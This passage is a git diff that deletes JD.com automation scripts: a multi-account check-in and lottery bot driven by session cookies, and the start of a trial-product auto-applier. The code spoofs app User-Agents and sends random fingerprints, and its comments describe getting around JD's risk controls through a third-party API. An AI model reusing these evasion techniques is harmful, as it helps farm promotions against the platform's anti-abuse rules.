- if ($.configCode) { - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdmodule(); - await showMsg(); - } - } - } else { - console.log('今天没有签到活动拉'); - } - -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function showMsg() { - return new Promise(resolve => { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} - - -async function jdmodule() { - let runTime = 0; - do { - await getinfo(); //获取任务 - $.hasFinish = true; - await run(); - runTime++; - } while (!$.hasFinish && runTime < 6); - await getinfo(); - console.log("开始抽奖"); - for (let x = 0; x < $.chanceLeft; x++) { - await join(); - await $.wait(1500) - } -} - -//运行 -async function run() { - try { - for (let vo of $.taskinfo) { - if (vo.hasFinish === true) { - // console.log(`任务${vo.taskName},已完成`); - continue; - } - console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); - if (vo.taskName == '每日签到') { - await doTask(vo.taskType, vo.taskItem.itemId, vo.id); - await getReward(vo.taskType, vo.taskItem.itemId, vo.id); - } - if (vo.taskType == 3) { - await getJump(vo.taskItem.itemLink); - await $.wait(1000 * vo.viewTime) - await doTask(vo.taskType, vo.taskItem.itemId, vo.id); - await getReward(vo.taskType, vo.taskItem.itemId, vo.id); - } - - $.hasFinish = false; - } - } catch (e) { - console.log(e); - } -} - - -// 获取任务 -function getCode() { - return new Promise(resolve => { - $.get({ - url: `https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html`, - headers: { - "Connection": "keep-alive", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", - 'User-Agent': 'JD4iPhone/167874 (iPhone; iOS 14.2; Scale/3.00)', - 'Cookie': cookie, - "Host": "prodev.m.jd.com", - "Referer": "", - "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9", - "Accept": "*/*" - }, - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getinfo请求失败,请检查网路重试`) - } else { - $.configCode = resp.body.match(/"activityCode":"(.*?)"/)[1] - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -// 获取任务 -function getinfo() { - return new Promise(resolve => { - $.get({ - url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${$.configCode}&unionCardCode=`, - headers: { - 'Host': 'jdjoy.jd.com', - 'accept': '*/*', - 'content-type': 'application/json', - "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", - "origin": "https://prodev.m.jd.com", - 'X-Requested-With': 'com.jingdong.app.mall', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'accept-language': 'zh-Hans-CN;q=1', - 'cookie': cookie - }, - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getinfo请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - $.chanceLeft = data.data.chanceLeft; - if (data.success == true) { - $.taskinfo = data.data.taskConfig - } else { - console.log(data.errorMessage); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -//抽奖 -function join() { - return new Promise(async (resolve) => { - $.get({ - url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${$.configCode}&fp=${randomWord(false, 32, 32)}&eid=`, - headers: { - 'Host': 'jdjoy.jd.com', - 'accept': '*/*', - 'content-type': 'application/json', - "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", - "origin": "https://prodev.m.jd.com", - 'X-Requested-With': 'com.jingdong.app.mall', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'accept-language': 'zh-Hans-CN;q=1', - 'cookie': cookie - }, - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`join请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.success == true) { - console.log(`抽奖结果:${data.data.rewardName}`); - } - else { - console.log(data.errorMessage); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -//做任务 -function doTask(taskType, itemId, taskid) { - return new Promise(resolve => { - let options = taskPostUrl('doTask', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`doTask 请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.success == true) { - console.log("任务成功"); - } else { - console.log(data.errorMessage); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - -//领取任务奖励 -function getReward(taskType, itemId, taskid) { - return new Promise(resolve => { - let options = taskPostUrl('getReward', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`getReward 请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.success == true) { - console.log("任务奖励领取成功"); - } else { - console.log(data.errorMessage); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function getJump(url2) { - return new Promise(resolve => { - $.get({ - url: url2, - headers: { - 'Host': 'pro.m.jd.com', - 'accept': '*/*', - 'content-type': 'application/x-www-form-urlencoded', - 'referer': '', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'accept-language': 'zh-Hans-CN;q=1', - 'cookie': cookie - }, - }, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`getJump API请求失败,请检查网路重试`) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -function taskPostUrl(function_id, body = {}) { - return { - url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, - body: `${(body)}`, - headers: { - "Accept": "application/json, text/plain, */*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/json", - "Host": "jdjoy.jd.com", - "x-requested-with": "com.jingdong.app.mall", - "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", - "origin": "https://prodev.m.jd.com", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -function randomWord(randomFlag, min, max) { - var str = "", - range = min, - arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; - - // 随机产生 - if (randomFlag) { - range = Math.round(Math.random() * (max - min)) + min; - } - for (var i = 0; i < range; i++) { - pos = Math.round(Math.random() * (arr.length - 1)); - str += arr[pos]; - } - return str; -} -// prettier-ignore -function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_try_2.0.js b/jd_try_2.0.js deleted file mode 100644 index 6b237de15..000000000 --- a/jd_try_2.0.js +++ /dev/null @@ -1,1307 +0,0 @@ -/* - * 2022-07-20 修复获取试用列表风控问题; - * 2022-08-12 修复申请试用风控,更换nolan接口 - * By https://github.com/6dylan6/jdpro/ - * 基于X1a0He版本修改 - * @Address: https://github.com/X1a0He/jd_scripts_fixed/blob/main/jd_try_xh.js - -脚本是否耗时只看args_xh.maxLength的大小(申请数量),默认50个,申请100个差不多15分钟 -上一作者说每天申请上限300个(自测,没有申请过上限),关注店铺上限500个 -关注店铺满了就无法继续申请,可用批量取关店铺取消关注 - -部分环境变量说明,详细请参考61行往下: -export JD_TRY_PASSZC="false" #不过滤种草官类试用,默认true过滤 -export JD_TRY_MAXLENGTH="50" #商品数组的最大长度,默认50个 -export JD_TRY_PRICE="XX"#商品原价格,大于XX才申请,默认20 -export JD_TRY_APPLYINTERVAL="6000" #商品试用之间和获取商品之间的间隔ms -export JD_TRY_APPLYNUMFILTER="10000" #过滤大于设定值的已申请人数 -export JD_TRY_MINSUPPLYNUM="1" #最小提供数量 -export JD_TRY_SENDNUM="10" #每隔多少账号发送一次通知,默认为4 -export JD_TRY_UNIFIED="false" 默认采用不同试用组 - -定时自定义,能用多久随缘了!!! - */ -if (!process.env.APITOKEN) { - console.log('请到https://t.me/jd_api获取token,设置变量export APITOKEN=你的Token来运行') - return; -} -const $ = new Env('京东试用') -const URL = 'https://api.m.jd.com/client.action' -let trialActivityIdList = [] -let trialActivityTitleList = [] -let notifyMsg = '' -let size = 1; -let APITOKEN = process.env.APITOKEN || ''; -$.isPush = true; -$.isLimit = false; -$.isForbidden = false; -$.wrong = false; -$.giveupNum = 0; -$.successNum = 0; -$.completeNum = 0; -$.getNum = 0; -$.try = true; -$.sentNum = 0; -$.cookiesArr = [] -//默认的过滤关键词 -$.innerKeyWords = - [ - "幼儿园", "教程", "英语", "辅导", "培训", - "孩子", "小学", "成人用品", "套套", "情趣", - "自慰", "阳具", "飞机杯", "男士用品", "女士用品", - "内衣", "高潮", "避孕", "乳腺", "肛塞", "肛门", - "宝宝", "芭比", "娃娃", "男用", - "女用", "神油", "足力健", "老年", "老人", - "宠物", "饲料", "丝袜", "黑丝", "磨脚", - "脚皮", "除臭", "性感", "内裤", "跳蛋", - "安全套", "龟头", "阴道", "阴部", "手机卡", "电话卡", "流量卡", - "习题", "试卷", - ] -//下面很重要,遇到问题请把下面注释看一遍再来问 -let args_xh = { - /* - * 控制是否输出当前环境变量设置,默认为false - * 环境变量名称:XH_TRY_ENV - */ - env: process.env.XH_TRY_ENV === 'true' || false, - /* - * 跳过某个指定账号,默认为全部账号清空 - * 填写规则:例如当前Cookie1为pt_key=key; pt_pin=pin1;则环境变量填写pin1即可,此时pin1的购物车将不会被清空 - * 若有更多,则按照pin1@pin2@pin3进行填写 - * 环境变量名称:XH_TRY_EXCEPT - */ - except: process.env.XH_TRY_EXCEPT && process.env.XH_TRY_EXCEPT.split('@') || [], - //以上环境变量新增于2022.01.30 - /* - * 每个Tab页要便遍历的申请页数,由于京东试用又改了,获取不到每一个Tab页的总页数了(显示null),所以特定增加一个环境变了以控制申请页数 - * 例如设置 JD_TRY_PRICE 为 30,假如现在正在遍历tab1,那tab1就会被遍历到30页,到31页就会跳到tab2,或下一个预设的tab页继续遍历到30页 - * 默认为20 - */ - totalPages: process.env.JD_TRY_TOTALPAGES * 1 || 20, - /* - * 由于每个账号每次获取的试用产品都不一样,所以为了保证每个账号都能试用到不同的商品,之前的脚本都不支持采用统一试用组的 - * 以下环境变量是用于指定是否采用统一试用组的 - * 例如当 JD_TRY_UNIFIED 为 true时,有3个账号,第一个账号跑脚本的时候,试用组是空的 - * 而当第一个账号跑完试用组后,第二个,第三个账号所采用的试用组默认采用的第一个账号的试用组 - * 优点:减少除第一个账号外的所有账号遍历,以减少每个账号的遍历时间 - * 缺点:A账号能申请的东西,B账号不一定有 - * 提示:想每个账号独立不同的试用产品的,请设置为false,想减少脚本运行时间的,请设置为true - * 默认为false - */ - unified: process.env.JD_TRY_UNIFIED === 'true' || false, - //以上环境变量新增于2022.01.25 - /* - * 商品原价,低于这个价格都不会试用,意思是 - * A商品原价49元,试用价1元,如果下面设置为50,那么A商品不会被加入到待提交的试用组 - * B商品原价99元,试用价0元,如果下面设置为50,那么B商品将会被加入到待提交的试用组 - * C商品原价99元,试用价1元,如果下面设置为50,那么C商品将会被加入到待提交的试用组 - * 默认为0 - * */ - jdPrice: process.env.JD_TRY_PRICE * 1 || 20, - /* - * 下面有一个function是可以获取tabId列表,名为try_tabList - * 可设置环境变量:JD_TRY_TABID,用@进行分隔 - * tabId不定期会变,获取不到商品,自行获取并修改tabId - * */ - tabId: process.env.JD_TRY_TABID && process.env.JD_TRY_TABID.split('@').map(Number) || [200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212], - /* - * 试用商品标题过滤,黑名单,当标题存在关键词时,则不加入试用组 - * 当白名单和黑名单共存时,黑名单会自动失效,优先匹配白名单,匹配完白名单后不会再匹配黑名单,望周知 - * 例如A商品的名称为『旺仔牛奶48瓶特价』,设置了匹配白名单,白名单关键词为『牛奶』,但黑名单关键词存在『旺仔』 - * 这时,A商品还是会被添加到待提交试用组,白名单优先于黑名单 - * 已内置对应的 成人类 幼儿类 宠物 老年人类关键词,请勿重复添加 - * 可设置环境变量:JD_TRY_TITLEFILTERS,关键词与关键词之间用@分隔 - * */ - titleFilters: process.env.JD_TRY_TITLEFILTERS && process.env.JD_TRY_TITLEFILTERS.split('@') || [], - /* - * 试用价格(中了要花多少钱),高于这个价格都不会试用,小于等于才会试用,意思就是 - * A商品原价49元,现在试用价1元,如果下面设置为10,那A商品将会被添加到待提交试用组,因为1 < 10 - * B商品原价49元,现在试用价2元,如果下面设置为1,那B商品将不会被添加到待提交试用组,因为2 > 1 - * C商品原价49元,现在试用价1元,如果下面设置为1,那C商品也会被添加到带提交试用组,因为1 = 1 - * 可设置环境变量:JD_TRY_TRIALPRICE,默认为0 - * */ - trialPrice: process.env.JD_TRY_TRIALPRICE * 1 || 0, - /* - * 最小提供数量,例如试用商品只提供2份试用资格,当前设置为1,则会进行申请 - * 若只提供5分试用资格,当前设置为10,则不会申请 - * 可设置环境变量:JD_TRY_MINSUPPLYNUM - * */ - minSupplyNum: process.env.JD_TRY_MINSUPPLYNUM * 1 || 1, - /* - * 过滤大于设定值的已申请人数,例如下面设置的10000,A商品已经有10001人申请了,则A商品不会进行申请,会被跳过 - * 可设置环境变量:JD_TRY_APPLYNUMFILTER - * */ - applyNumFilter: process.env.JD_TRY_APPLYNUMFILTER * 1 || 10000, - /* - * 商品试用之间和获取商品之间的间隔, 单位:毫秒(1秒=1000毫秒) - * 可设置环境变量:JD_TRY_APPLYINTERVAL - * 默认为6000-9000随机 - * */ - applyInterval: process.env.JD_TRY_APPLYINTERVAL * 1 || 6000, - /* - * 商品数组的最大长度,通俗来说就是即将申请的商品队列长度 - * 例如设置为20,当第一次获取后获得12件,过滤后剩下5件,将会进行第二次获取,过滤后加上第一次剩余件数 - * 例如是18件,将会进行第三次获取,直到过滤完毕后为20件才会停止,不建议设置太大 - * 可设置环境变量:JD_TRY_MAXLENGTH - * */ - maxLength: process.env.JD_TRY_MAXLENGTH * 1 || 50, - /* - * 过滤种草官类试用,某些试用商品是专属官专属,考虑到部分账号不是种草官账号 - * 例如A商品是种草官专属试用商品,下面设置为true,而你又不是种草官账号,那A商品将不会被添加到待提交试用组 - * 例如B商品是种草官专属试用商品,下面设置为false,而你是种草官账号,那A商品将会被添加到待提交试用组 - * 例如B商品是种草官专属试用商品,下面设置为true,即使你是种草官账号,A商品也不会被添加到待提交试用组 - * 可设置环境变量:JD_TRY_PASSZC,默认为true - * */ - passZhongCao: process.env.JD_TRY_PASSZC === 'false' || true, - /* - * 是否打印输出到日志,考虑到如果试用组长度过大,例如100以上,如果每个商品检测都打印一遍,日志长度会非常长 - * 打印的优点:清晰知道每个商品为什么会被过滤,哪个商品被添加到了待提交试用组 - * 打印的缺点:会使日志变得很长 - * - * 不打印的优点:简短日志长度 - * 不打印的缺点:无法清晰知道每个商品为什么会被过滤,哪个商品被添加到了待提交试用组 - * 可设置环境变量:JD_TRY_PLOG,默认为true - * */ - printLog: process.env.JD_TRY_PLOG === 'false' || true, - /* - * 白名单,是否打开,如果下面为true,那么黑名单会自动失效 - * 白名单和黑名单无法共存,白名单永远优先于黑名单 - * 可通过环境变量控制:JD_TRY_WHITELIST,默认为false - * */ - whiteList: process.env.JD_TRY_WHITELIST === 'true' || false, - /* - * 白名单关键词,当标题存在关键词时,加入到试用组 - * 例如A商品的名字为『旺仔牛奶48瓶特价』,白名单其中一个关键词是『牛奶』,那么A将会直接被添加到待提交试用组,不再进行另外判断 - * 就算设置了黑名单也不会判断,希望这种写得那么清楚的脑瘫问题就别提issues了 - * 可通过环境变量控制:JD_TRY_WHITELIST,用@分隔 - * */ - whiteListKeywords: process.env.JD_TRY_WHITELISTKEYWORDS && process.env.JD_TRY_WHITELISTKEYWORDS.split('@') || [], - /* - * 每多少个账号发送一次通知,默认为4 - * 可通过环境变量控制 JD_TRY_SENDNUM - * */ - sendNum: process.env.JD_TRY_SENDNUM * 1 || 4, -} -//上面很重要,遇到问题请把上面注释看一遍再来问 -!(async () => { - await $.wait(500) - // 如果你要运行京东试用这个脚本,麻烦你把环境变量 JD_TRY 设置为 true - if (process.env.JD_TRY && process.env.JD_TRY === 'true') { - $.log('\n遇到问题请先看脚本内注释;解决不了可联系https://t.me/dylan_jdpro\n'); - await requireConfig() - if (!$.cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }) - return - } - args_xh.tabId = args_xh.tabId.sort(() => 0.5 - Math.random()) - for (let i = 0; i < $.cookiesArr.length; i++) { - if ($.cookiesArr[i]) { - $.cookie = $.cookiesArr[i]; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=(.+?);/) && $.cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await totalBean(); - console.log(`\n开始【京东账号${$.index}】${$.nickName || 